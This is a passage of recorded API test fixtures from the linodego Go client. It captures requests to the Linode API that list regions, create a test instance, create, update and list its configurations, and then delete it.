139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-4tj767zw6m0l","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253760, "label": "go-test-ins-wo-disk-4tj767zw6m0l", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.117.74"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "581caba72dd04577d27fae584485415e7977dfb4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-80210mvtdrl8","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253760/configs method: POST response: body: '{"id": 57334215, "label": "go-test-conf-80210mvtdrl8", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:12 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-conf-test-au36637km1kj","comments":"","devices":{},"interfaces":null,"memory_limit":0,"init_rd":null,"root_device":"/dev/root"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253760/configs/57334215 method: PUT response: body: '{"id": 57334215, "label": "go-conf-test-au36637km1kj", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/root", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "540" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253760 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Configs_List.yaml000066400000000000000000000575271455402072200325260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-p3a0515y0zro","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253759, "label": "go-test-ins-wo-disk-p3a0515y0zro", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.117.58"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "581caba72dd04577d27fae584485415e7977dfb4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-rb0x84u95zk9","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253759/configs method: POST response: body: '{"id": 57334214, "label": "go-test-conf-rb0x84u95zk9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253759/configs method: GET response: body: '{"data": [{"id": 57334214, "label": "go-test-conf-rb0x84u95zk9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "588" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253759 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE 